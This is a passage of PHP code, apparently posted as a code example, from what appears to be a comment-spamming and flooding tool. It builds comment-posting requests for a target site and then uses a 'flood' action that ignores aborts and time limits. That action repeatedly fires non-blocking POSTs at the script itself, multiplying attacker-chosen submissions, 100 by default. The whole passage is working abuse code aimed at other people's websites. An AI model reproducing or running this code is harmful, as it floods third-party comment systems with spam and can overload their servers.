Exemplo n.º 1
0
             exit;
         }
         $domain = $ret[1];
         $p_id = $ret[2];
         $post_url = $domain . "/?comment-" . $p_id . "-ask-toComment.html";
         $post_data = "title=" . urlencode($_POST[e_title]) . "&contact=" . $_POST[e_contact] . "&comment=" . urlencode($_POST[e_comment]);
         $num = intval($_POST['e_num']);
         $num = $num ? $num : 100;
         break;
     case "flood":
         ignore_user_abort();
         set_time_limit(0);
         $post_url = $_POST['post_url'];
         $post_data = $_POST['post_data'];
         $b = new browser();
         $b->m_post($post_url, $post_data, $thread);
         unset($b);
         echo "send ok";
         exit;
         break;
 }
 $host = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : $_SERVER['HTTP_HOST'];
 $host = rtrim($host, '/');
 $uri = $_SERVER['PHP_SELF'];
 $uri = ltrim($uri, '/');
 $url = "http://{$host}/{$uri}";
 $data = "action=flood&post_url={$post_url}&post_data={$post_data}";
 $b = new browser();
 $step = ceil($num / $thread);
 for ($i = 0; $i < $step; $i++) {
     $b->nonblock_post($url, $data);